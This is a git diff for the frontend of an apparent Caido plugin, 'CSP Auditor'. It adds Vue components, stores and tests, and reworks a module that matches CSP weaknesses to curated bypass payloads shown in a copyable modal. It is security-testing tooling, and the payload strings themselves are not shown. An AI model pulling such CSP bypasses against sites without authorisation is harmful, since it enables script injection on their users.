--git a/packages/frontend/src/components/Database/index.ts b/packages/frontend/src/components/Database/index.ts new file mode 100644 index 0000000..ecc90f0 --- /dev/null +++ b/packages/frontend/src/components/Database/index.ts @@ -0,0 +1 @@ +export { default as DatabasePage } from "./Container.vue"; diff --git a/packages/frontend/src/components/VulnerabilityModal/Container.vue b/packages/frontend/src/components/VulnerabilityModal/Container.vue new file mode 100644 index 0000000..2f7f850 --- /dev/null +++ b/packages/frontend/src/components/VulnerabilityModal/Container.vue @@ -0,0 +1,130 @@ +<script setup lang="ts"> +import { storeToRefs } from "pinia"; +import Button from "primevue/button"; +import Dialog from "primevue/dialog"; +import Tag from "primevue/tag"; + +import { useBypassData } from "@/composables/useBypassData"; +import { useClipboard } from "@/composables/useClipboard"; +import { useVulnerabilityModal } from "@/composables/useVulnerabilityModal"; +import { getSeverityBadgeStyle } from "@/utils/severity"; +import { getTechniqueColor } from "@/utils/technique"; + +const modalStore = useVulnerabilityModal(); +const { visible, selectedFinding, selectedAnalysis } = storeToRefs(modalStore); +const bypassStore = useBypassData(); +const { copyToClipboard } = useClipboard(); +</script> + +<template> + <Dialog + v-model:visible="visible" + :modal="true" + header="Vulnerability Details" + :style="{ width: '40rem' }" + @hide="modalStore.closeModal()" + > + <div v-if="selectedFinding" class="flex flex-col gap-4"> + <div class="flex items-center justify-between"> + <span class="text-base font-semibold text-surface-200">{{ + selectedFinding.checkId + }}</span> + <span + class="px-2 py-0.5 rounded text-xs font-semibold uppercase border" + :class="getSeverityBadgeStyle(selectedFinding.severity)" + > + {{ selectedFinding.severity }} + </span> + </div> + + <div class="text-xs text-surface-400"> + Directive: + <code class="bg-surface-800 px-1.5 py-0.5 rounded">{{ + selectedFinding.directive + }}</code> + <span v-if="selectedFinding.cweId" class="ml-3" + >CWE-{{ selectedFinding.cweId }}</span + > + </div> + + <div> + <h4 class="text-xs font-semibold text-surface-300 mb-1">Description</h4> + <p class="text-xs text-surface-400 leading-relaxed"> + {{ selectedFinding.description }} + </p> + </div> + + <div v-if="selectedFinding.remediation"> + <h4 class="text-xs font-semibold text-surface-300 mb-1">Remediation</h4> + <div + class="text-xs text-surface-400 bg-surface-900 px-3 py-2 rounded border-l-2 border-blue-500" + > + {{ selectedFinding.remediation }} + </div> + </div> + + <div + v-if=" + bypassStore.findBypassesForCheck(selectedFinding.checkId).length > 0 + " + > + <h4 class="text-xs font-semibold text-surface-300 mb-1"> + Bypass Examples ({{ + bypassStore.findBypassesForCheck(selectedFinding.checkId).length + }}) + </h4> + <div class="flex flex-col gap-1.5 max-h-40 overflow-auto"> + <div + v-for="bypass in bypassStore.findBypassesForCheck( + selectedFinding.checkId, + )" + :key="bypass.id" + class="bg-surface-900 rounded p-2 flex items-center justify-between gap-2" + > + <div class="flex-1 min-w-0"> + <div class="flex items-center gap-1.5 mb-1"> + <span class="text-xs font-mono text-blue-400">{{ + bypass.name + }}</span> + <Tag + :value="bypass.technique" + :severity="getTechniqueColor(bypass.technique)" + class="!text-[10px] !px-1 !py-0" + /> + </div> + <code + class="text-[10px] text-green-400 font-mono block truncate" + >{{ bypass.payload }}</code + > + </div> + <Button + icon="fas fa-copy" + size="small" + severity="secondary" + text + class="!w-6 !h-6 shrink-0" + @mousedown="copyToClipboard(bypass.payload, 'Bypass copied')" + /> + </div> + </div> + </div> + + <div v-if="selectedAnalysis && selectedAnalysis.policies.length > 0"> + <h4 class="text-xs font-semibold text-surface-300 mb-1">CSP Policy</h4> + <div + v-for="policy in selectedAnalysis.policies" + :key="policy.id" + class="bg-surface-900 rounded p-2 mb-1" + > + <div class="text-[10px] text-surface-500 mb-1"> + {{ policy.headerName }} + </div> + <code + class="text-[10px] font-mono text-surface-300 break-all whitespace-pre-wrap" + >{{ policy.headerValue }}</code + > + </div> + </div> + </div> + </Dialog> +</template> diff --git a/packages/frontend/src/components/VulnerabilityModal/index.ts b/packages/frontend/src/components/VulnerabilityModal/index.ts new file mode 100644 index 0000000..1df831e --- /dev/null +++ b/packages/frontend/src/components/VulnerabilityModal/index.ts @@ -0,0 +1 @@ +export { default as VulnerabilityModal } from "./Container.vue"; diff --git a/packages/frontend/src/composables/useBypassData.ts b/packages/frontend/src/composables/useBypassData.ts new file mode 100644 index 0000000..be76281 --- /dev/null +++ b/packages/frontend/src/composables/useBypassData.ts @@ -0,0 +1,55 @@ +import { defineStore } from "pinia"; +import type { BypassRecord, CuratedBypass } from "shared"; +import { computed, ref } from "vue"; + +import { getBypassesForCheck } from "@/data/bypassPayloads"; +import { useSDK } from "@/plugins/sdk"; + +export const useBypassData = defineStore("bypass-data", () => { + const sdk = useSDK(); + const records = ref<BypassRecord[]>([]); + const loading = ref(false); + const searchQuery = ref(""); + + const loadRecords = async () => { + loading.value = true; + try { + const result = await sdk.backend.getBypassRecords(); + if (result.kind === "Ok") { + records.value = result.value; + } else { + records.value = []; + sdk.window.showToast("Failed to load bypass records", { + variant: "error", + }); + } + } finally { + loading.value = false; + } + }; + + const filteredRecords = computed(() => { + if (searchQuery.value.trim() === "") return records.value; + + const query = searchQuery.value.toLowerCase(); + return records.value.filter( + (r) => + r.domain.toLowerCase().includes(query) || + r.technique.toLowerCase().includes(query) || + r.code.toLowerCase().includes(query), + ); + }); + + const findBypassesForCheck = (checkId: string): CuratedBypass[] => { + return getBypassesForCheck(checkId, records.value); + }; + + return { + records, + loading, + searchQuery, + filteredRecords, + loadRecords, + findBypassesForCheck, + }; +}); diff --git a/packages/frontend/src/composables/useClipboard.ts b/packages/frontend/src/composables/useClipboard.ts new file mode 100644 index 0000000..ec8b4ce --- /dev/null +++ b/packages/frontend/src/composables/useClipboard.ts @@ -0,0 +1,20 @@ +import { useSDK } from "@/plugins/sdk"; + +export function useClipboard() { + const sdk = useSDK(); + + const copyToClipboard = async (text: string, label?: string) => { + try { + await navigator.clipboard.writeText(text); + sdk.window.showToast(label ?? "Copied to clipboard", { + variant: "success", + }); + } catch { + sdk.window.showToast("Failed to copy to clipboard", { + variant: "error", + }); + } + }; + + return { copyToClipboard }; +} diff --git a/packages/frontend/src/composables/useExportDownload.ts b/packages/frontend/src/composables/useExportDownload.ts new file mode 100644 index 0000000..61089c5 --- /dev/null +++ b/packages/frontend/src/composables/useExportDownload.ts @@ -0,0 +1,47 @@ +import { useSDK } from "@/plugins/sdk"; + +function triggerDownload(content: string, filename: string, mimeType: string) { + const blob = new Blob([content], { type: mimeType }); + // eslint-disable-next-line compat/compat + const url = URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.download = filename; + document.body.appendChild(link); + link.click(); + document.body.removeChild(link); + // eslint-disable-next-line compat/compat + URL.revokeObjectURL(url); +} + +export function useExportDownload() { + const sdk = useSDK(); + + const downloadExport = async ( + format: "json" | "csv", + filename: string, + mimeType: string, + ) => { + try { + const result = await sdk.backend.exportFindings(format); + if (result.kind === "Ok") { + triggerDownload(result.value, filename, mimeType); + sdk.window.showToast(`Exported as ${format.toUpperCase()}`, { + variant: "success", + }); + } else { + sdk.window.showToast("Export failed", { variant: "error" }); + } + } catch { + sdk.window.showToast("Export failed", { variant: "error" }); + } + }; + + const downloadAsJson = () => + downloadExport("json", "csp-findings.json", "application/json"); + + const downloadAsCsv = () => + downloadExport("csv", "csp-findings.csv", "text/csv"); + + return { downloadAsJson, downloadAsCsv }; +} diff --git a/packages/frontend/src/composables/usePageNavigation.ts b/packages/frontend/src/composables/usePageNavigation.ts new file mode 100644 index 0000000..c32b413 --- /dev/null +++ b/packages/frontend/src/composables/usePageNavigation.ts @@ -0,0 +1,50 @@ +import { computed, ref } from "vue"; + +import Configuration from "@/views/Configuration.vue"; +import Dashboard from "@/views/Dashboard.vue"; +import Database from "@/views/Database.vue"; + +type Page = "Dashboard" | "Database" | "Configuration"; + +export function usePageNavigation() { + const page = ref<Page>("Dashboard"); + + const navItems = [ + { + label: "Dashboard", + isActive: () => page.value === "Dashboard", + command: () => { + page.value = "Dashboard"; + }, + }, + { + label: "Database", + isActive: () => page.value === "Database", + command: () => { + page.value = "Database"; + }, + }, + { + label: "Configuration", + isActive: () => page.value === "Configuration", + command: () => { + page.value = "Configuration"; + }, + }, + ]; + + const component = computed(() => { + switch (page.value) { + case "Dashboard": + return Dashboard; + case "Database": + return Database; + case "Configuration": + return Configuration; + default: + return undefined; + } + }); + + return { page, navItems, component }; +} diff --git a/packages/frontend/src/composables/useVulnerabilityModal.ts b/packages/frontend/src/composables/useVulnerabilityModal.ts new file mode 100644 index 0000000..9e911ee --- /dev/null +++ b/packages/frontend/src/composables/useVulnerabilityModal.ts @@ -0,0 +1,29 @@ +import { defineStore } from "pinia"; +import type { AnalysisResult, PolicyFinding } from "shared"; +import { ref } from "vue"; + +export const useVulnerabilityModal = defineStore("vulnerability-modal", () => { + const visible = ref(false); + const selectedFinding = ref<PolicyFinding | undefined>(undefined); + const selectedAnalysis = ref<AnalysisResult | undefined>(undefined); + + const openModal = (finding: PolicyFinding, analysis: AnalysisResult) => { + selectedFinding.value = finding; + selectedAnalysis.value = analysis; + visible.value = true; + }; + + const closeModal = () => { + visible.value = false; + selectedFinding.value = undefined; + selectedAnalysis.value = undefined; + }; + + return { + visible, + selectedFinding, + selectedAnalysis, + openModal, + closeModal, + }; +}); diff --git a/packages/frontend/src/data/bypass-payloads.ts b/packages/frontend/src/data/bypassPayloads.ts similarity index 53% rename from packages/frontend/src/data/bypass-payloads.ts rename to packages/frontend/src/data/bypassPayloads.ts index 20a4f9d..4f8e63c 100644 --- a/packages/frontend/src/data/bypass-payloads.ts +++ b/packages/frontend/src/data/bypassPayloads.ts @@ -1,42 +1,6 @@ -export interface BypassPayload { - id: string; - name: string; - technique: string; - payload: string; - description: string; - difficulty: "easy" | "medium" | "hard"; - requirements?: string[]; - domain?: string; - source: "cspbypass" | "generic"; -} - -interface DatabaseEntry { - id: string; - technique: string; - code: string; - domain: string; -} - -function isDatabaseEntry(entry: unknown): entry is DatabaseEntry { - if (typeof entry !== "object" || entry === null) { - return false; - } +import type { BypassRecord, CuratedBypass } from "shared"; - const obj = entry as Record<string, unknown>; - return ( - "id" in obj && - "technique" in obj && - "code" in obj && - "domain" in obj && - typeof obj.id === "string" && - typeof obj.technique === "string" && - typeof obj.code === "string" && - typeof obj.domain === "string" - ); -} - -// Real bypass payloads from CSPBypass project (https://github.com/renniepak/CSPBypass) -export const bypassPayloads: Record<string, BypassPayload[]> = { +const CURATED_BYPASSES: Record<string, CuratedBypass[]> = { "script-wildcard": [ { id: "googleapis-jsonp", @@ -222,152 +186,68 @@ export const bypassPayloads: Record<string, BypassPayload[]> = { ], }; -export const getBypassesForVulnerability = ( - vulnerabilityType: string, - fullDatabase?: unknown[], -): BypassPayload[] => { - // Get curated specific bypasses for this vulnerability type - const specificBypasses = bypassPayloads[vulnerabilityType] || []; - - // If we have the full database, filter it for additional relevant bypasses - if (fullDatabase && fullDatabase.length > 0) { - const additionalBypasses = filterDatabaseByVulnerabilityType( - vulnerabilityType, - fullDatabase, - ); - - // Combine curated bypasses with filtered database entries - // Remove duplicates based on payload content - const combined = [...specificBypasses]; - const existingPayloads: string[] = specificBypasses.map((bp) => bp.payload); - - for (const dbBypass of additionalBypasses) { - if (existingPayloads.indexOf(dbBypass.payload) === -1) { - combined.push(dbBypass); - existingPayloads.push(dbBypass.payload); - } - } - - return combined.slice(0, 10); // Limit to top 10 most relevant - } - - return specificBypasses; -}; - -const filterDatabaseByVulnerabilityType = ( - vulnerabilityType: string, - database: unknown[], -): BypassPayload[] => { - const filtered: BypassPayload[] = []; - - for (const entry of database) { - if (!isDatabaseEntry(entry)) { - continue; - } - - let relevanceScore = 0; - let difficulty: "easy" | "medium" | "hard" = "medium"; - - // Smart filtering based on vulnerability type - switch (vulnerabilityType) { - case "script-wildcard": - case "script-unsafe-inline": - if ( - entry.technique === "AngularJS" || - entry.technique === "Script Injection" || - entry.technique === "Event Handler" || - entry.technique === "Alpine.js" || - entry.technique === "HTMX" - ) { - relevanceScore = entry.technique === "AngularJS" ? 10 : 8; - difficulty = entry.technique === "Event Handler" ? "easy" : "medium"; - } - break; - - case "jsonp-bypass-risk": - if (entry.technique === "JSONP") { - relevanceScore = 10; - difficulty = "easy"; - } - break; - - case "angularjs-bypass": - if (entry.technique === "AngularJS") { - relevanceScore = 10; - difficulty = "hard"; - } - break; - - case "script-unsafe-eval": - if ( - entry.technique === "Script Injection" || - entry.code.indexOf("eval") !== -1 - ) { - relevanceScore = 8; - difficulty = "medium"; - } - break; - - case "object-wildcard": - if ( - entry.technique === "Iframe Injection" || - entry.code.indexOf("<iframe") !== -1 - ) { - relevanceScore = 8; - difficulty = "medium"; - } - break; - - case "style-unsafe-inline": - if ( - entry.technique === "Link Preload" || - entry.code.indexOf("<link") !== -1 - ) { - relevanceScore = 8; - difficulty = "medium"; - } - break; - - default: - // Generic scoring for other vulnerability types - if ( - entry.technique === "Script Injection" || - entry.technique === "XSS" - ) { - relevanceScore = 5; - } - } - - if (relevanceScore > 0) { - filtered.push({ - id: `db-${entry.id}`, - name: `${entry.domain} ${entry.technique}`, - technique: entry.technique, - payload: entry.code, - description: `${entry.technique} bypass using ${entry.domain}`, - difficulty, - domain: entry.domain, +export function getBypassesForCheck( + checkId: string, + dbRecords?: BypassRecord[], +): CuratedBypass[] { + const curated = CURATED_BYPASSES[checkId] ?? []; + + if (dbRecords === undefined || dbRecords.length === 0) return curated; + + const existingPayloads = new Set(curated.map((b) => b.payload)); + const relevantDb = filterDbRecordsByCheck(checkId, dbRecords); + + const combined = [...curated]; + for (const record of relevantDb) { + if (!existingPayloads.has(record.code)) { + combined.push({ + id: `db-${record.id}`, + name: `${record.domain} ${record.technique}`, + technique: record.technique, + payload: record.code, + description: `${record.technique} bypass using ${record.domain}`, + difficulty: "medium", + domain: record.domain, source: "cspbypass", - relevanceScore, - } as BypassPayload & { relevanceScore: number }); + }); + existingPayloads.add(record.code); } } - // Sort by relevance score and return top matches - return (filtered as (BypassPayload & { relevanceScore: number })[]) - .sort((a, b) => b.relevanceScore - a.relevanceScore) - .map(({ relevanceScore, ...bypass }) => bypass as BypassPayload); -}; + return combined.slice(0, 10); +} -export const getDifficultyColor = (difficulty: string): string => { - switch (difficulty) { - case "easy": - return "success"; - case "medium": - return "warning"; - case "hard": - return "danger"; - default: - return "secondary"; - } -}; +function filterDbRecordsByCheck( + checkId: string, + records: BypassRecord[], +): BypassRecord[] { + const techniqueMap: Record<string, string[]> = { + "script-wildcard": [ + "AngularJS", + "Script Injection", + "Event Handler", + "Alpine.js", + "HTMX", + ], + "script-unsafe-inline": [ + "AngularJS", + "Script Injection", + "Event Handler", + "Alpine.js", + "HTMX", + ], + "jsonp-bypass-risk": ["JSONP"], + "angularjs-bypass": ["AngularJS"], + "script-unsafe-eval": ["Script Injection"], + "script-data-uri": ["Script Injection"], + "object-wildcard": ["Iframe Injection"], + "style-unsafe-inline": ["Link Preload"], + }; + + const relevantTechniques = techniqueMap[checkId]; + if (relevantTechniques === undefined) return []; + + return records + .filter((r) => relevantTechniques.includes(r.technique)) + .slice(0, 20); +} diff --git a/packages/frontend/src/index.ts b/packages/frontend/src/index.ts index 6032d3f..db32858 100644 --- a/packages/frontend/src/index.ts +++ b/packages/frontend/src/index.ts @@ -1,4 +1,5 @@ import { Classic } from "@caido/primevue"; +import { createPinia } from "pinia"; import PrimeVue from "primevue/config"; import { createApp } from "vue"; @@ -7,40 +8,22 @@ import "./styles/index.css"; import type { FrontendSDK } from "./types"; import App from "./views/App.vue"; -// This is the entry point for the frontend plugin export const init = (sdk: FrontendSDK) => { const app = createApp(App); + const pinia = createPinia(); - // Load the PrimeVue component library - app.use(PrimeVue, { - unstyled: true, - pt: Classic, - }); - - // Provide the FrontendSDK + app.use(pinia); + app.use(PrimeVue, { unstyled: true, pt: Classic }); app.use(SDKPlugin, sdk); - // Create the root element for the app const root = document.createElement("div"); - Object.assign(root.style, { - height: "100%", - width: "100%", - }); + Object.assign(root.style, { height: "100%", width: "100%" }); + root.id = "plugin--csp-auditor"; - // Set the ID of the root element - // Replace this with the value of the prefixWrap plugin in caido.config.ts - // This is necessary to prevent styling conflicts between plugins - root.id = `plugin--csp-auditor`; - - // Mount the app to the root element app.mount(root); - // Add the page to the navigation - // Make sure to use a unique name for the page - sdk.navigation.addPage("/csp-auditor", { - body: root, + sdk.navigation.addPage("/csp-auditor", { body: root }); + sdk.sidebar.registerItem("CSP Auditor", "/csp-auditor", { + icon: "fas fa-shield-alt", }); - - // Add a sidebar item - sdk.sidebar.registerItem("CSP Auditor", "/csp-auditor"); }; diff --git a/packages/frontend/src/plugins/sdk.ts b/packages/frontend/src/plugins/sdk.ts index 77d7d0d..62ea7bc 100644 --- a/packages/frontend/src/plugins/sdk.ts +++ b/packages/frontend/src/plugins/sdk.ts @@ -1,16 +1,13 @@ import { inject, type InjectionKey, type Plugin } from "vue"; -import { type FrontendSDK } from "@/types"; +import type { FrontendSDK } from "@/types"; const KEY: InjectionKey<FrontendSDK> = Symbol("FrontendSDK"); -// This is the plugin that will provide the FrontendSDK to VueJS -// To access the frontend SDK from within a component, use the `useSDK` function. export const SDKPlugin: Plugin = (app, sdk: FrontendSDK) => { app.provide(KEY, sdk); }; -// This is the function that will be used to access the FrontendSDK from within a component. export const useSDK = () => { return inject(KEY) as FrontendSDK; }; diff --git a/packages/frontend/src/services/analyses.test.ts b/packages/frontend/src/services/analyses.test.ts new file mode 100644 index 0000000..42ad1de --- /dev/null +++ b/packages/frontend/src/services/analyses.test.ts @@ -0,0 +1,239 @@ +import { createPinia, setActivePinia } from "pinia"; +import type { AnalysisResult } from "shared"; + +const mockBackend = { + getAllAnalyses: vi.fn(), + getAnalysis: vi.fn(), + getSummary: vi.fn(), + clearCache: vi.fn(), + onEvent: vi.fn(), +}; + +const mockWindow = { + showToast: vi.fn(), +}; + +vi.mock("@/plugins/sdk", () => ({ + useSDK: () => ({ backend: mockBackend, window: mockWindow }), +})); + +const { useAnalysesService } = await import("./analyses"); +const { useAnalysesStore } = await import("@/stores/analyses"); + +function fakeAnalysis(overrides?: Partial<AnalysisResult>): AnalysisResult { + return { + requestId: "req-1", + policies: [], + findings: [ + { + id: "f-1", + checkId: "script-wildcard", + severity: "high", + directive: "script-src", + value: "*", + description: "test", + remediation: "fix", + requestId: "req-1", + }, + ], + analyzedAt: new Date("2025-01-01"), + ...overrides, + }; +} + +describe("useAnalysesService", () => { + beforeEach(() => { + setActivePinia(createPinia()); + vi.clearAllMocks(); + }); + + describe("initialize", () => { + it("loads analyses and registers event listener", async () => { + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Ok", + value: [fakeAnalysis()], + }); + + const service = useAnalysesService(); + await service.initialize(); + + expect(mockBackend.getAllAnalyses).toHaveBeenCalledOnce(); + expect(mockBackend.onEvent).toHaveBeenCalledWith( + "analysisUpdated", + expect.any(Function), + ); + expect(useAnalysesStore().state.type).toBe("Success"); + }); + + it("sets error state when backend fails", async () => { + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Error", + error: "network failure", + }); + + const service = useAnalysesService(); + await service.initialize(); + + expect(useAnalysesStore().state.type).toBe("Error"); + }); + + it("does not register duplicate event listeners", async () => { + mockBackend.getAllAnalyses.mockResolvedValue({ kind: "Ok", value: [] }); + + const service = useAnalysesService(); + await service.initialize(); + await service.initialize(); + + expect(mockBackend.onEvent).toHaveBeenCalledTimes(1); + }); + }); + + describe("loadAnalyses", () => { + it("updates state with analyses on success", async () => { + const analyses = [fakeAnalysis(), fakeAnalysis({ requestId: "req-2" })]; + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Ok", + value: analyses, + }); + + const service = useAnalysesService(); + await service.loadAnalyses(); + + const s = useAnalysesStore().state; + expect(s.type).toBe("Success"); + if (s.type === "Success") { + expect(s.analyses).toHaveLength(2); + } + }); + }); + + describe("clearCache", () => { + it("clears state on success", async () => { + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Ok", + value: [fakeAnalysis()], + }); + mockBackend.clearCache.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useAnalysesService(); + await service.loadAnalyses(); + await service.clearCache(); + + expect(useAnalysesStore().state.type).toBe("Idle"); + }); + + it("shows error toast on failure", async () => { + mockBackend.clearCache.mockResolvedValue({ + kind: "Error", + error: "failed", + }); + + const service = useAnalysesService(); + await service.clearCache(); + + expect(mockWindow.showToast).toHaveBeenCalledWith( + "Failed to clear cache", + { variant: "error" }, + ); + }); + }); + + describe("summary", () => { + it("computes correct severity counts", async () => { + const analyses = [ + fakeAnalysis({ + findings: [ + { + id: "f-1", + checkId: "script-wildcard", + severity: "high", + directive: "script-src", + value: "*", + description: "a", + remediation: "b", + requestId: "req-1", + }, + { + id: "f-2", + checkId: "style-wildcard", + severity: "low", + directive: "style-src", + value: "*", + description: "c", + remediation: "d", + requestId: "req-1", + }, + ], + }), + ]; + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Ok", + value: analyses, + }); + + const service = useAnalysesService(); + await service.loadAnalyses(); + + expect(service.summary.totalFindings).toBe(2); + expect(service.summary.severityCounts.high).toBe(1); + expect(service.summary.severityCounts.low).toBe(1); + }); + + it("finds the most recent analyzedAt", async () => { + const analyses = [ + fakeAnalysis({ + requestId: "req-1", + analyzedAt: new Date("2025-01-01"), + }), + fakeAnalysis({ + requestId: "req-2", + analyzedAt: new Date("2025-06-15"), + }), + fakeAnalysis({ + requestId: "req-3", + analyzedAt: new Date("2025-03-10"), + }), + ]; + mockBackend.getAllAnalyses.mockResolvedValue({ + kind: "Ok", + value: analyses, + }); + + const service = useAnalysesService(); + await service.loadAnalyses(); + + expect(service.summary.lastAnalyzedAt).toEqual(new Date("2025-06-15")); + }); + }); + + describe("getAnalysis", () => { + it("returns analysis on success", async () => { + const analysis = fakeAnalysis(); + mockBackend.getAnalysis.mockResolvedValue({ + kind: "Ok", + value: analysis, + }); + + const service = useAnalysesService(); + const result = await service.getAnalysis("req-1"); + + expect(result).toBeDefined(); + expect(result?.requestId).toBe("req-1"); + }); + + it("returns undefined on error", async () => { + mockBackend.getAnalysis.mockResolvedValue({ + kind: "Error", + error: "not found", + }); + + const service = useAnalysesService(); + const result = await service.getAnalysis("req-999"); + + expect(result).toBeUndefined(); + }); + }); +}); diff --git a/packages/frontend/src/services/analyses.ts b/packages/frontend/src/services/analyses.ts new file mode 100644 index 0000000..8310b3c --- /dev/null +++ b/packages/frontend/src/services/analyses.ts @@ -0,0 +1,100 @@ +import { defineStore, storeToRefs } from "pinia"; +import type { AnalysisResult, AnalysisSummary, SeverityLevel } from "shared"; +import { computed } from "vue"; + +import { useSDK } from "@/plugins/sdk"; +import { useAnalysesStore } from "@/stores/analyses"; + +export const useAnalysesService = defineStore("services.analyses", () => { + const sdk = useSDK(); + const store = useAnalysesStore(); + const { state } = storeToRefs(store); + let eventRegistered = false; + + const summary = computed((): AnalysisSummary => { + const current = state.value; + if (current.type !== "Success") { + return { + totalAnalyses: 0, + totalFindings: 0, + severityCounts: { high: 0, medium: 0, low: 0, info: 0 }, + checkIdCounts: {}, + lastAnalyzedAt: undefined, + }; + } + + const analyses = current.analyses; + const allFindings = analyses.flatMap((a) => a.findings); + const severityCounts: Record<SeverityLevel, number> = { + high: 0, + medium: 0, + low: 0, + info: 0, + }; + const checkIdCounts: Record<string, number> = {}; + + for (const finding of allFindings) { + severityCounts[finding.severity]++; + checkIdCounts[finding.checkId] = + (checkIdCounts[finding.checkId] ?? 0) + 1; + } + + let lastAnalyzedAt: Date | undefined; + for (const a of analyses) { + if ( + lastAnalyzedAt === undefined || + a.analyzedAt.getTime() > lastAnalyzedAt.getTime() + ) { + lastAnalyzedAt = a.analyzedAt; + } + } + + return { + totalAnalyses: analyses.length, + totalFindings: allFindings.length, + severityCounts, + checkIdCounts, + lastAnalyzedAt, + }; + }); + + const initialize = async () => { + store.send({ type: "Start" }); + await loadAnalyses(); + + if (!eventRegistered) { + eventRegistered = true; + sdk.backend.onEvent("analysisUpdated", async () => { + await loadAnalyses(); + }); + } + }; + + const loadAnalyses = async () => { + const result = await sdk.backend.getAllAnalyses(); + if (result.kind === "Ok") { + store.send({ type: "Success", analyses: result.value }); + } else { + store.send({ type: "Error", error: result.error }); + } + }; + + const clearCache = async () => { + const result = await sdk.backend.clearCache(); + if (result.kind === "Ok") { + store.send({ type: "Clear" }); + } else { + sdk.window.showToast("Failed to clear cache", { variant: "error" }); + } + }; + + const getAnalysis = async ( + requestId: string, + ): Promise<AnalysisResult | undefined> => { + const result = await sdk.backend.getAnalysis(requestId); + if (result.kind === "Ok") return result.value; + return undefined; + }; + + return { summary, initialize, loadAnalyses, clearCache, getAnalysis }; +}); diff --git a/packages/frontend/src/services/settings.test.ts b/packages/frontend/src/services/settings.test.ts new file mode 100644 index 0000000..def4803 --- /dev/null +++ b/packages/frontend/src/services/settings.test.ts @@ -0,0 +1,225 @@ +import { createPinia, setActivePinia } from "pinia"; + +const mockBackend = { + getScopeEnabled: vi.fn(), + setScopeEnabled: vi.fn(), + getFindingsEnabled: vi.fn(), + setFindingsEnabled: vi.fn(), + getCheckSettings: vi.fn(), + setCheckSettings: vi.fn(), + updateSingleCheck: vi.fn(), +}; + +const mockWindow = { + showToast: vi.fn(), +}; + +vi.mock("@/plugins/sdk", () => ({ + useSDK: () => ({ backend: mockBackend, window: mockWindow }), +})); + +const { useSettingsService } = await import("./settings"); + +describe("useSettingsService", () => { + beforeEach(() => { + setActivePinia(createPinia()); + vi.clearAllMocks(); + }); + + describe("initialize", () => { + it("loads settings from backend", async () => { + mockBackend.getScopeEnabled.mockResolvedValue({ + kind: "Ok", + value: false, + }); + mockBackend.getFindingsEnabled.mockResolvedValue({ + kind: "Ok", + value: true, + }); + mockBackend.getCheckSettings.mockResolvedValue({ + kind: "Ok", + value: { "script-wildcard": false }, + }); + + const service = useSettingsService(); + await service.initialize(); + + expect(service.scopeEnabled).toBe(false); + expect(service.findingsEnabled).toBe(true); + }); + + it("retries on failure", async () => { + mockBackend.getScopeEnabled.mockRejectedValueOnce(new Error("network")); + mockBackend.getScopeEnabled.mockResolvedValue({ + kind: "Ok", + value: true, + }); + mockBackend.getFindingsEnabled.mockResolvedValue({ + kind: "Ok", + value: false, + }); + mockBackend.getCheckSettings.mockResolvedValue({ kind: "Ok", value: {} }); + + const service = useSettingsService(); + await service.initialize().catch(() => {}); + await service.initialize(); + + expect(mockBackend.getScopeEnabled).toHaveBeenCalledTimes(2); + }); + }); + + describe("updateScope", () => { + it("updates local state on success", async () => { + mockBackend.setScopeEnabled.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + await service.updateScope(false); + + expect(service.scopeEnabled).toBe(false); + expect(mockBackend.setScopeEnabled).toHaveBeenCalledWith(false); + }); + + it("does not update local state on error", async () => { + mockBackend.setScopeEnabled.mockResolvedValue({ + kind: "Error", + error: "failed", + }); + + const service = useSettingsService(); + await service.updateScope(false); + + expect(service.scopeEnabled).toBe(true); + }); + }); + + describe("updateFindings", () => { + it("updates local state on success", async () => { + mockBackend.setFindingsEnabled.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + await service.updateFindings(true); + + expect(service.findingsEnabled).toBe(true); + }); + + it("does not update local state on error", async () => { + mockBackend.setFindingsEnabled.mockResolvedValue({ + kind: "Error", + error: "failed", + }); + + const service = useSettingsService(); + await service.updateFindings(true); + + expect(service.findingsEnabled).toBe(false); + }); + }); + + describe("updateSingleCheck", () => { + it("updates check state on success", async () => { + mockBackend.updateSingleCheck.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + const wasBefore = service.checkSettings["script-wildcard"]?.enabled; + await service.updateSingleCheck("script-wildcard", false); + + expect(wasBefore).toBe(true); + expect(service.checkSettings["script-wildcard"]?.enabled).toBe(false); + }); + }); + + describe("setAllChecks", () => { + it("disables all checks on success", async () => { + mockBackend.setCheckSettings.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + await service.setAllChecks(false); + + const allDisabled = Object.values(service.checkSettings).every( + (c) => !c.enabled, + ); + expect(allDisabled).toBe(true); + }); + + it("does not update on error", async () => { + mockBackend.setCheckSettings.mockResolvedValue({ + kind: "Error", + error: "failed", + }); + + const service = useSettingsService(); + await service.setAllChecks(false); + + const someEnabled = Object.values(service.checkSettings).some( + (c) => c.enabled, + ); + expect(someEnabled).toBe(true); + }); + }); + + describe("presets", () => { + it("setRecommendedMode enables high and medium only", async () => { + mockBackend.setCheckSettings.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + await service.setRecommendedMode(); + + for (const check of Object.values(service.checkSettings)) { + if (check.severity === "high" || check.severity === "medium") { + expect(check.enabled).toBe(true); + } else { + expect(check.enabled).toBe(false); + } + } + }); + + it("setLightMode enables high and Critical only", async () => { + mockBackend.setCheckSettings.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + await service.setLightMode(); + + for (const check of Object.values(service.checkSettings)) { + if (check.severity === "high" || check.category === "Critical") { + expect(check.enabled).toBe(true); + } else { + expect(check.enabled).toBe(false); + } + } + }); + }); + + describe("computed counts", () => { + it("enabledCount reflects current state", async () => { + mockBackend.setCheckSettings.mockResolvedValue({ + kind: "Ok", + value: undefined, + }); + + const service = useSettingsService(); + const totalBefore = service.totalCount; + expect(service.enabledCount).toBe(totalBefore); + + await service.setAllChecks(false); + expect(service.enabledCount).toBe(0); + }); + }); +}); diff --git a/packages/frontend/src/services/settings.ts b/packages/frontend/src/services/settings.ts new file mode 100644 index 0000000..24da7e3 --- /dev/null +++ b/packages/frontend/src/services/settings.ts @@ -0,0 +1,42 @@ +import { 